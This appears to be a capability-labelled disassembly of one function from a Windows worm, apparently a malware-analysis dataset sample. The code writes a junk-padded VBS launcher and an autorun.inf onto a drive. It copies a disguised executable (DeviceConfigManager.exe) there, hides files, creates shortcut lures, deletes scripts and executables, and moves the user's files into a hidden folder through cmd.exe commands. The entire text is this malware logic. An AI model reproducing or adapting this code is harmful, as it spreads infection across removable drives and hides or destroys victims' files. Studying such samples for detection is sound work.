Function at 0x4019c0
Capabilities:
Check if file exists
Copy file
Create directory
Create process on windows
Delete file
Enumerate files on windows
Get file attributes
Persist via lnk shortcut
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xd20
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call sub.MSVCRT.dll_srand
add esp, 4
push 0x104
push 0
lea eax, [ebp - 0x778]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x358]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0xa98]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x568]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea ecx, [ebp - 0x990]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea edx, [ebp - 0x460]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x888]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push 0x406450
lea edx, [ebp - 0x778]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 0xc]
push eax
mov ecx, dword [ebp + 8]
push ecx
push str._s_s.lnk
lea edx, [ebp - 0xa98]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0x10
mov eax, dword [ebp + 0xc]
push eax
push str._s.lnk
lea ecx, [ebp - 0x888]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._s_autorun.inf
lea eax, [ebp - 0x990]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov ecx, dword [ebp + 8]
push ecx
push str._s_
lea edx, [ebp - 0x358]
push edx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov eax, dword [ebp + 8]
push eax
push str._s_DeviceConfigManager.exe
lea ecx, [ebp - 0x460]
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0xc
mov edx, dword [ebp + 8]
push edx
push str._sDeviceConfigManager.vbs
lea eax, [ebp - 0x568]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
lea ecx, [ebp - 0x568]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402230
lea edx, [ebp - 0x990]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x401b63
push 0x80
lea eax, [ebp - 0x990]
push eax
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea ecx, [ebp - 0x990]
push ecx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x4064bc
lea edx, [ebp - 0x568]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x402230
push 0x64
push 0
lea eax, [ebp - 0xbd0]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x64
push 0
lea ecx, [ebp - 0xb68]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x64
push 0
lea edx, [ebp - 0xb00]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0xf
call fcn.00403680
add esp, 4
push eax
lea eax, [ebp - 0xbd0]
push eax
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0xf
call fcn.00403680
add esp, 4
push eax
lea ecx, [ebp - 0xb68]
push ecx
call sub.MSVCRT.dll_strcpy
add esp, 8
push 0xf
call fcn.00403680
add esp, 4
push eax
lea edx, [ebp - 0xb00]
push edx
call sub.MSVCRT.dll_strcpy
add esp, 8
mov dword [ebp - 0xbd4], 0
jmp 0x401c2c
mov eax, dword [ebp - 0xbd4]
add eax, 1
mov dword [ebp - 0xbd4], eax
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbd4], edx
jge 0x401c89
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401c66
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4064c0
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401c1d
lea eax, [ebp - 0xbd0]
push eax
push 0x4064cc
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xbd8], 0
jmp 0x401cbf
mov edx, dword [ebp - 0xbd8]
add edx, 1
mov dword [ebp - 0xbd8], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbd8], edx
jge 0x401d1c
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401cf9
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4064d4
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401cb0
lea eax, [ebp - 0xb68]
push eax
push 0x4064e0
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xbdc], 0
jmp 0x401d52
mov edx, dword [ebp - 0xbdc]
add edx, 1
mov dword [ebp - 0xbdc], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbdc], edx
jge 0x401daf
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401d8c
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4064e8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401d43
lea eax, [ebp - 0xb00]
push eax
push str.Dim__s_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xbe0], 0
jmp 0x401de5
mov edx, dword [ebp - 0xbe0]
add edx, 1
mov dword [ebp - 0xbe0], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbe0], edx
jge 0x401e42
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401e1f
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4064fc
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401dd6
lea eax, [ebp - 0xbd0]
push eax
push str.Set__s__wscript.CreateObject__WScript.Shell___n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xbe4], 0
jmp 0x401e78
mov edx, dword [ebp - 0xbe4]
add edx, 1
mov dword [ebp - 0xbe4], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbe4], edx
jge 0x401ed5
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401eb2
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x406538
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401e69
lea eax, [ebp - 0xb68]
push eax
push str.Set__s__wscript.CreateObject__Scripting.FileSystemObject___n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xbe8], 0
jmp 0x401f0b
mov edx, dword [ebp - 0xbe8]
add edx, 1
mov dword [ebp - 0xbe8], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbe8], edx
jge 0x401f68
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401f45
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x406584
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401efc
lea eax, [ebp - 0xb00]
push eax
push str.Set__s__wscript.CreateObject__Shell.Application___n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xbec], 0
jmp 0x401f9e
mov edx, dword [ebp - 0xbec]
add edx, 1
mov dword [ebp - 0xbec], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbec], edx
jge 0x401ffb
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x401fd8
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4065c4
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x401f8f
lea eax, [ebp - 0xbd0]
push eax
push str._s.SendKeys____F4__n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
mov dword [ebp - 0xbf0], 0
jmp 0x402031
mov edx, dword [ebp - 0xbf0]
add edx, 1
mov dword [ebp - 0xbf0], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbf0], edx
jge 0x40208e
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40206b
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4065e8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x402022
lea eax, [ebp - 0xb68]
push eax
push str.If__s.FolderExists______Then_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0xbd0]
push edx
push str._s.Run_____n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push 0x406620
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xbf4], 0
jmp 0x4020f3
mov edx, dword [ebp - 0xbf4]
add edx, 1
mov dword [ebp - 0xbf4], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbf4], edx
jge 0x402150
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40212d
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x406628
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x4020e4
lea eax, [ebp - 0xb68]
push eax
push str.If__s.FileExists___DeviceConfigManager.exe___Then_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
lea edx, [ebp - 0xbd0]
push edx
push str._s.Run___DeviceConfigManager.exe___2_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 0xc
push str.End_If_n
mov ecx, dword [ebp - 0x10c]
push ecx
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xbf8], 0
jmp 0x4021b5
mov edx, dword [ebp - 0xbf8]
add edx, 1
mov dword [ebp - 0xbf8], edx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x32
idiv ecx
add edx, 5
cmp dword [ebp - 0xbf8], edx
jge 0x402212
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x64
idiv ecx
add edx, 0xa
push edx
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4021ef
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push str._s___d_n
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0x10
jmp 0x4021a6
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0x568]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x990]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x4024ec
push 0x4066a4
lea eax, [ebp - 0x990]
push eax
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0x10c], eax
cmp dword [ebp - 0x10c], 0
je 0x4024ec
mov dword [ebp - 0xbfc], 0
jmp 0x402287
mov ecx, dword [ebp - 0xbfc]
add ecx, 1
mov dword [ebp - 0xbfc], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xbfc], edx
jge 0x4022d6
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4022b3
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4066a8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402278
push str._autorun__n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xc00], 0
jmp 0x402305
mov ecx, dword [ebp - 0xc00]
add ecx, 1
mov dword [ebp - 0xc00], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xc00], edx
jge 0x402354
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x402331
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4066b8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4022f6
push str.icon__SystemRoot___system32SHELL32.dll_4_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xc04], 0
jmp 0x402383
mov ecx, dword [ebp - 0xc04]
add ecx, 1
mov dword [ebp - 0xc04], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xc04], edx
jge 0x4023d2
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4023af
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x4066e8
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402374
push str.open_DeviceConfigManager.exe_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xc08], 0
jmp 0x402401
mov ecx, dword [ebp - 0xc08]
add ecx, 1
mov dword [ebp - 0xc08], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xc08], edx
jge 0x402450
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x40242d
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x40670c
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x4023f2
push str.UseAutoPlay1_n
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fprintf
add esp, 8
mov dword [ebp - 0xc0c], 0
jmp 0x40247f
mov ecx, dword [ebp - 0xc0c]
add ecx, 1
mov dword [ebp - 0xc0c], ecx
call sub.MSVCRT.dll_rand
cdq
mov ecx, 0x1388
idiv ecx
add edx, 0x3e8
cmp dword [ebp - 0xc0c], edx
jge 0x4024ce
call sub.MSVCRT.dll_rand
and eax, 0x80000007
jns 0x4024ab
dec eax
or eax, 0xfffffff8
inc eax
add eax, 7
push eax
call fcn.00403680
add esp, 4
push eax
push 0x406720
mov edx, dword [ebp - 0x10c]
push edx
call sub.MSVCRT.dll_fprintf
add esp, 0xc
jmp 0x402470
mov eax, dword [ebp - 0x10c]
push eax
call sub.MSVCRT.dll_fclose
add esp, 4
push 7
lea ecx, [ebp - 0x990]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0xa98]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40255c
movzx eax, byte [ebp + 0x10]
cmp eax, 1
jne 0x402532
push 0
push 0
push 0
push 9
push 0x406724
push 0
push 0x406730
lea ecx, [ebp - 0x568]
push ecx
lea edx, [ebp - 0xa98]
push edx
call fcn.00401840
add esp, 0x24
jmp 0x40255c
push 0
push 0
push 0
push 8
push str.shell32.dll
push 0
push 0x406740
lea eax, [ebp - 0x568]
push eax
lea ecx, [ebp - 0xa98]
push ecx
call fcn.00401840
add esp, 0x24
lea edx, [ebp - 0x358]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40258f
push 0
lea eax, [ebp - 0x358]
push eax
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
je 0x40258f
push 7
lea ecx, [ebp - 0x358]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push 0x406744
lea edx, [ebp - 0x460]
push edx
call sub.MSVCRT.dll_fopen
add esp, 8
mov dword [ebp - 0xc10], eax
cmp dword [ebp - 0xc10], 0
je 0x402616
push 2
push 0
mov eax, dword [ebp - 0xc10]
push eax
call sub.MSVCRT.dll_fseek
add esp, 0xc
mov ecx, dword [ebp - 0xc10]
push ecx
call sub.MSVCRT.dll_ftell
add esp, 4
mov dword [ebp - 0xc14], eax
mov edx, dword [ebp - 0xc10]
push edx
call sub.MSVCRT.dll_fclose
add esp, 4
mov eax, dword [ebp - 0xc14]
cmp eax, dword [0x409940]
je 0x402616
push 0x80
lea ecx, [ebp - 0x460]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea eax, [ebp - 0x460]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x40264a
push 0
lea ecx, [ebp - 0x460]
push ecx
push str.C:UsersHPM_505007290572047026857826405680826508440winmgr.exe
call dword [sym.imp.KERNEL32.dll_CopyFileA]
push 7
lea edx, [ebp - 0x460]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x250]
push eax
lea ecx, [ebp - 0x778]
push ecx
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
mov dword [ebp - 0x77c], eax
cmp dword [ebp - 0x77c], 0xffffffff
jne 0x402674
xor eax, eax
jmp 0x402aa1
push 0x406748
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x4026af
lea eax, [ebp - 0x888]
push eax
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
je 0x4027cc
push str..vbs
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
je 0x4026e8
push 0x406758
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
je 0x4027cc
push 0x406770
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push 0x406778
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push str..scr
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push str..com
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push str..jse
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push str..cmd
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push str..pif
lea ecx, [ebp - 0x224]
push ecx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push str..jar
lea edx, [ebp - 0x224]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x4027cc
push str..dll
lea eax, [ebp - 0x224]
push eax
call fcn.00401210
add esp, 8
test eax, eax
je 0x402821
push 0x104
push 0
lea ecx, [ebp - 0x670]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x224]
push edx
mov eax, dword [ebp + 8]
push eax
push 0x4067b4
lea ecx, [ebp - 0x670]
push ecx
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea edx, [ebp - 0x670]
push edx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
lea ecx, [ebp - 0x358]
push ecx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402a73
push str..lnk
lea edx, [ebp - 0x224]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402a73
lea eax, [ebp - 0x888]
push eax
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402a73
push 0x4067c4
lea edx, [ebp - 0x224]
push edx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402a73
push str.DeviceConfigManager.vbs
lea eax, [ebp - 0x224]
push eax
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402a73
push str.autorun.inf
lea ecx, [ebp - 0x224]
push ecx
call sub.MSVCRT.dll_strcmp
add esp, 8
neg eax
sbb eax, eax
add eax, 1
jne 0x402a73
push 0x104
push 0
lea edx, [ebp - 0x108]
push edx
call sub.MSVCRT.dll_memset
add esp, 0xc
push 0x104
push 0
lea eax, [ebp - 0x670]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [ebp + 8]
push edx
push 0x4067ec
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
lea ecx, [ebp - 0x224]
push ecx
mov edx, dword [ebp + 8]
push edx
push str._s__s
lea eax, [ebp - 0x670]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0x10
push 0x80
lea ecx, [ebp - 0x108]
push ecx
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea edx, [ebp - 0x670]
push edx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402a21
lea eax, [ebp - 0x108]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x402a21
lea ecx, [ebp - 0x670]
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0x10
jne 0x402a14
push 0x4067fc
lea edx, [ebp - 0x670]
push edx
call fcn.00401210
add esp, 8
test eax, eax
jne 0x402a12
push 0x406800
lea eax, [ebp - 0x670]
push eax
call fcn.00401210
add esp, 8
test eax, eax
jne 0x402a12
push 0x104
push 0
lea ecx, [ebp - 0xd20]
push ecx
call sub.MSVCRT.dll_memset
add esp, 0xc
lea edx, [ebp - 0x108]
push edx
push str._c_rmdir__q__s___s_
lea eax, [ebp - 0xd20]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0xc
push 0
push 0
lea ecx, [ebp - 0xd20]
push ecx
push 0x406818
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
jmp 0x402a21
lea edx, [ebp - 0x108]
push edx
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
push 0x104
push 0
lea eax, [ebp - 0xd20]
push eax
call sub.MSVCRT.dll_memset
add esp, 0xc
lea ecx, [ebp - 0x670]
push ecx
lea edx, [ebp - 0x108]
push edx
push str._c_move__y___s_____s_
lea eax, [ebp - 0xd20]
push eax
call sub.MSVCRT.dll_sprintf
add esp, 0x10
push 0
push 0
lea ecx, [ebp - 0xd20]
push ecx
push str.cmd.exe
push 0
push 0
call dword [sym.imp.SHELL32.dll_ShellExecuteA]
lea edx, [ebp - 0x250]
push edx
mov eax, dword [ebp - 0x77c]
push eax
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x402674
mov ecx, dword [ebp - 0x77c]
push ecx
call dword [sym.imp.KERNEL32.dll_FindClose]
mov eax, 1
mov esp, ebp
pop ebp
ret